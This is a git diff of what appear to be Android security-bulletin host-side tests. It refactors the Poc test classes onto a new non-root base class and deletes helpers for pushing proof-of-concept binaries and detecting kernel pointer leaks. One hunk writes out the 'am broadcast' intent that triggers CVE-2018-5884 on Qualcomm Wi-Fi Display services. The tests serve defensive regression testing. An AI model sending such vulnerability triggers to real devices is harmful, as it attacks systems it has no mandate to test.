+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_04 extends SecurityTestCase {
+public class Poc18_04 extends NonRootSecurityTestCase {
/**
* b/69683251
* Does not require root but must be a hostside test to avoid
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index 320f9970ee1..9b1830d9d6f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_05 extends SecurityTestCase {
+public class Poc18_05 extends NonRootSecurityTestCase {
/**
* b/70721937
* Does not require root but must be a hostside test to avoid a race
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 63cdf56707a..236865e89b5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_06 extends SecurityTestCase {
+public class Poc18_06 extends NonRootSecurityTestCase {
/**
* CVE-2018-5884
@@ -35,9 +38,11 @@ public class Poc18_06 extends SecurityTestCase {
String wfd_service = AdbUtils.runCommandLine(
"pm list package com.qualcomm.wfd.service", getDevice());
if (wfd_service.contains("com.qualcomm.wfd.service")) {
- String result = AdbUtils.runCommandLine(
- "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
- getDevice());
+ String result =
+ AdbUtils.runCommandLine(
+ "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei"
+ + " format 3 --ei value 32",
+ getDevice());
assertNotMatchesMultiLine("Broadcast completed", result);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 11476586982..ce3ee4d445f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_07 extends SecurityTestCase {
+public class Poc18_07 extends NonRootSecurityTestCase {
/**
* b/76221123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index a8b90508973..3e0cc2da5d8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_10 extends SecurityTestCase {
+public class Poc18_10 extends NonRootSecurityTestCase {
/**
* b/111641492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index e6ca50b8869..8f00629f3cf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_11 extends SecurityTestCase {
+public class Poc18_11 extends NonRootSecurityTestCase {
/**
* b/113027383
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 1e56873f4b1..dab20669def 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_03 extends SecurityTestCase {
+public class Poc19_03 extends NonRootSecurityTestCase {
/**
* b/115739809
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index a22fc97d425..f9f8b7cb689 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_05 extends SecurityTestCase {
+public class Poc19_05 extends NonRootSecurityTestCase {
/**
* CVE-2019-2257
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 71cb84d8824..791b8b456d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_07 extends SecurityTestCase {
+public class Poc19_07 extends NonRootSecurityTestCase {
/**
* Bug-137878930
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
index 5a8f4d78a68..b029aa6953d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -1,14 +1,17 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_01 extends SecurityTestCase {
+public class Poc20_01 extends NonRootSecurityTestCase {
/**
* CVE-2019-14002
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
index 5b9bb220c0e..72e7b960509 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_03 extends SecurityTestCase {
+public class Poc20_03 extends NonRootSecurityTestCase {
/**
* b/147882143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 6ed83c1ac32..3f2d1d0d798 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_06 extends SecurityTestCase {
+public class Poc20_06 extends NonRootSecurityTestCase {
/**
* CVE-2020-3635
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
index bd2a761e2fb..86c1a1f5531 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -16,16 +16,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_11 extends SecurityTestCase {
+public class Poc20_11 extends NonRootSecurityTestCase {
/**
* b/162741784
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
index e55570052cb..ccff62137ee 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -17,15 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc21_01 extends SecurityTestCase {
+public class Poc21_01 extends NonRootSecurityTestCase {
/**
* b/168211968
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
deleted file mode 100644
index 07f45db0d4e..00000000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Set;
-import java.io.File;
-import java.io.FileNotFoundException;
-
-import org.junit.runner.Description;
-import org.junit.rules.TestWatcher;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.IAbi;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-public class PocPusher extends TestWatcher {
- private ITestDevice device = null;
- private CompatibilityBuildHelper buildHelper = null;
- private IAbi abi = null;
-
- private Set<String> filesToCleanup = new HashSet();
- public boolean bitness32 = true;
- public boolean bitness64 = true;
- public boolean appendBitness = true;
- public boolean cleanup = true;
-
- @Override
- protected void starting(Description d) {
- bothBitness();
- appendBitness = true;
- cleanup = true;
- }
-
- @Override
- protected void finished(Description d) {
- for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
- String file = it.next();
- try {
- CLog.i("Cleaning up %s", file);
- device.deleteFile(file);
- } catch (DeviceNotAvailableException e) {
- CLog.e("Device unavailable when cleaning up %s", file);
- continue; // try to remove next time
- }
- it.remove();
- }
- }
-
- public PocPusher setDevice(ITestDevice device) {
- this.device = device;
- return this;
- }
-
- public PocPusher setAbi(IAbi abi) {
- this.abi = abi;
- return this;
- }
-
- public PocPusher setBuild(IBuildInfo buildInfo) {
- buildHelper = new CompatibilityBuildHelper(buildInfo);
- return this;
- }
-
- public PocPusher appendBitness(boolean append) {
- this.appendBitness = append;
- return this;
- }
-
- public PocPusher cleanup(boolean cleanup) {
- this.cleanup = cleanup;
- return this;
- }
-
- public PocPusher only32() {
- bitness32 = true;
- bitness64 = false;
- return this;
- }
-
- public PocPusher only64() {
- bitness32 = false;
- bitness64 = true;
- return this;
- }
-
- public PocPusher bothBitness() {
- bitness32 = true;
- bitness64 = true;
- return this;
- }
-
- public void pushFile(String testFile, String remoteFile)
- throws FileNotFoundException, DeviceNotAvailableException {
- if (appendBitness) {
- // if neither 32 or 64, nothing would ever be pushed.
- assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
-
- String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
-
- // 32-bit doesn't have a 64-bit compatibility layer; skipping.
- assumeFalse(bitness.equals("32") && !bitness32);
-
- // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
- if (bitness.equals("64") && !bitness64) {
- bitness = "32";
- CLog.i("Pushing a 32-bit file onto a 64-bit device.");
- }
- testFile += bitness;
- }
- CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
- File localFile = buildHelper.getTestFile(testFile);
- device.pushFile(localFile, remoteFile);
- if (cleanup) {
- filesToCleanup.add(remoteFile);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
deleted file mode 100644
index 9ce7e39f35f..00000000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import java.util.concurrent.TimeoutException;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static org.junit.Assert.*;
-
-public class RegexUtils {
- private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
- private static final int WARNING_THRESHOLD = 1000; // 1 second
- private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
-
- public static void assertContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, false);
- }
-
- public static void assertContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, true);
- }
-
- public static void assertNotContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, false);
- }
-
- public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, true);
- }
-
- private static void assertFind(
- String pattern, String input, boolean shouldFind, boolean multiline) {
- // The input string throws an error when used after the timeout
- TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
- Matcher matcher = null;
- if (multiline) {
- // DOTALL lets .* match line separators
- // MULTILINE lets ^ and $ match line separators instead of input start and end
- matcher = Pattern.compile(
- pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
- } else {
- matcher = Pattern.compile(pattern).matcher(timedInput);
- }
-
- try {
- long start = System.currentTimeMillis();
- boolean found = matcher.find();
- long duration = System.currentTimeMillis() - start;
-
- if (duration > WARNING_THRESHOLD) {
- // Provide a warning to the test developer that their regex should be optimized.
- CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
- }
-
- if (found && shouldFind) { // failed notContains
- String substring = input.substring(matcher.start(), matcher.end());
- String context = getInputContext(input, matcher.start(), matcher.end(),
- CONTEXT_RANGE, CONTEXT_RANGE);
- fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
- context + "...");
- } else if (!found && !shouldFind) { // failed contains
- fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
- }
- } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
- // regex match has taken longer than the timeout
- // this usually means the input is extremely long or the regex is catastrophic
- fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
- }
- }
-
- /*
- * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
- * grep.
- */
- private static String getInputContext(String input, int start, int end, int before, int after) {
- start = Math.max(0, start - before);
- end = Math.min(input.length(), end + after);
- return input.substring(start, end);
- }
-
- /*
- * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
- * against the timeout. If the current time is greater than the expiration time, an exception is
- * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
- */
- private static class TimeoutCharSequence implements CharSequence {
- long expireTime = 0;
- CharSequence chars = null;
-
- TimeoutCharSequence(CharSequence chars, long timeout) {
- this.chars = chars;
- expireTime = System.currentTimeMillis() + timeout;
- }
-
- @Override
- public char charAt(int index) {
- if (System.currentTimeMillis() > expireTime) {
- throw new CharSequenceTimeoutException(
- "TimeoutCharSequence was used after the expiration time.");
- }
- return chars.charAt(index);
- }
-
- @Override
- public int length() {
- return chars.length();
- }
-
- @Override
- public CharSequence subSequence(int start, int end) {
- return new TimeoutCharSequence(chars.subSequence(start, end),
- expireTime - System.currentTimeMillis());
- }
-
- @Override
- public String toString() {
- return chars.toString();
- }
-
- private static class CharSequenceTimeoutException extends RuntimeException {
- public CharSequenceTimeoutException(String message) {
- super(message);
- }
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
deleted file mode 100644
index d7a3afc7a6d..00000000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ /dev/null
@@ -1,367 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.ddmlib.Log;
-
-import org.junit.rules.TestName;
-import org.junit.Rule;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
-import java.util.Map;
-import java.util.HashMap;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import java.util.concurrent.Callable;
-import java.math.BigInteger;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-import static org.hamcrest.core.Is.is;
-
-public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
-
- private static final String LOG_TAG = "SecurityTestCase";
- private static final int RADIX_HEX = 16;
-
- protected static final int TIMEOUT_DEFAULT = 60;
- // account for the poc timer of 5 minutes (+15 seconds for safety)
- protected static final int TIMEOUT_NONDETERMINISTIC = 315;
-
- private long kernelStartTime = -1;
-
- private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
-
- @Rule public TestName testName = new TestName();
- @Rule public PocPusher pocPusher = new PocPusher();
-
- private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
- private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
- private static Map<ITestDevice, String> sTestName = new HashMap<>();
- private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
-
- @Option(name = "set-kptr_restrict",
- description = "If kptr_restrict should be set to 2 after every reboot")
- private boolean setKptr_restrict = false;
- private boolean ignoreKernelAddress = false;
-
- /**
- * Waits for device to be online, marks the most recent boottime of the device
- */
- @Before
- public void setUp() throws Exception {
- getDevice().waitForDeviceAvailable();
- getDevice().disableAdbRoot();
- updateKernelStartTime();
- // TODO:(badash@): Watch for other things to track.
- // Specifically time when app framework starts
-
- sBuildInfo.put(getDevice(), getBuild());
- sAbi.put(getDevice(), getAbi());
- sTestName.put(getDevice(), testName.getMethodName());
-
- pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
- sPocPusher.put(getDevice(), pocPusher);
-
- if (setKptr_restrict) {
- if (getDevice().enableAdbRoot()) {
- CLog.i("setting kptr_restrict to 2");
- getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict");
- getDevice().disableAdbRoot();
- } else {
- // not a rootable device
- ignoreKernelAddress = true;
- }
- }
- }
-
- /**
- * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
- * (due to rounding) of the previous boottime to check if The phone has crashed.
- */
- @After
- public void tearDown() throws Exception {
- try {
- getDevice().waitForDeviceAvailable(90 * 1000);
- } catch (DeviceNotAvailableException e) {
- // Force a disconnection of all existing sessions to see if that unsticks adbd.
- getDevice().executeAdbCommand("reconnect");
- getDevice().waitForDeviceAvailable(30 * 1000);
- }
-
- if (kernelStartTime != -1) {
- // only fail when the kernel start time is valid
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
- kernelStartTime = -1;
- }
-
- // TODO(badash@): add ability to catch runtime restart
- }
-
- public static IBuildInfo getBuildInfo(ITestDevice device) {
- return sBuildInfo.get(device);
- }
-
- public static IAbi getAbi(ITestDevice device) {
- return sAbi.get(device);
- }
-
- public static String getTestName(ITestDevice device) {
- return sTestName.get(device);
- }
-
- public static PocPusher getPocPusher(ITestDevice device) {
- return sPocPusher.get(device);
- }
-
- // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
- // b/123237827
- @Deprecated
- public void assertMatches(String pattern, String input) throws Exception {
- RegexUtils.assertContains(pattern, input);
- }
-
- @Deprecated
- public void assertMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertContainsMultiline(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatches(String pattern, String input) throws Exception {
- RegexUtils.assertNotContains(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertNotContainsMultiline(pattern, input);
- }
-
- /**
- * Runs a provided function that collects a String to test against kernel pointer leaks.
- * The getPtrFunction function implementation must return a String that starts with the
- * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
- * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
- * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
- * normal kernel space. The test re-runs to make false positives statistically insignificant.
- * When kernel pointers won't change without a reboot, provide a device to reboot.
- *
- * @param getPtrFunction a function that returns a string that starts with a pointer
- * @param deviceToReboot device to reboot when kernel pointers won't change
- */
- public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
- throws Exception {
- assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress);
- String ptr = null;
- for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
- ptr = getPtrFunction.call();
- if (ptr == null) {
- return;
- }
- if (!isKptr(ptr)) {
- // quit early because the ptr is likely hashed or zeroed.
- return;
- }
- if (deviceToReboot != null) {
- deviceToReboot.nonBlockingReboot();
- deviceToReboot.waitForDeviceAvailable();
- updateKernelStartTime();
- }
- }
- fail("\"" + ptr + "\" is an exposed kernel pointer.");
- }
-
- private boolean isKptr(String ptr) {
- Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
- if (!m.find() || m.start() != 0) {
- // ptr string is malformed
- return false;
- }
- int length = m.end();
-
- if (length == 8) {
- // 32-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
- // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
- // 1 in 4 collision for hashed pointers
- return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
- } else if (length == 16) {
- // 64-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
- // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
- // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
- // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
- return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
- }
-
- return false;
- }
-
- /**
- * Check if a driver is present and readable.
- */
- protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- return containsDriver(device, driver, true);
- }
-
- /**
- * Check if a driver is present on a machine.
- */
- protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
- throws Exception {
- boolean containsDriver = false;
- if (driver.contains("*")) {
- // -A list all files but . and ..
- // -d directory, not contents
- // -1 list one file per line
- // -f unsorted
- String ls = "ls -A -d -1 -f " + driver;
- if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
- String[] expanded = device.executeShellCommand(ls).split("\\R");
- for (String expandedDriver : expanded) {
- containsDriver |= containsDriver(device, expandedDriver, checkReadable);
- }
- }
- } else {
- if(checkReadable) {
- containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
- } else {
- containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
- }
- }
-
- MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
- reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
-
- return containsDriver;
- }
-
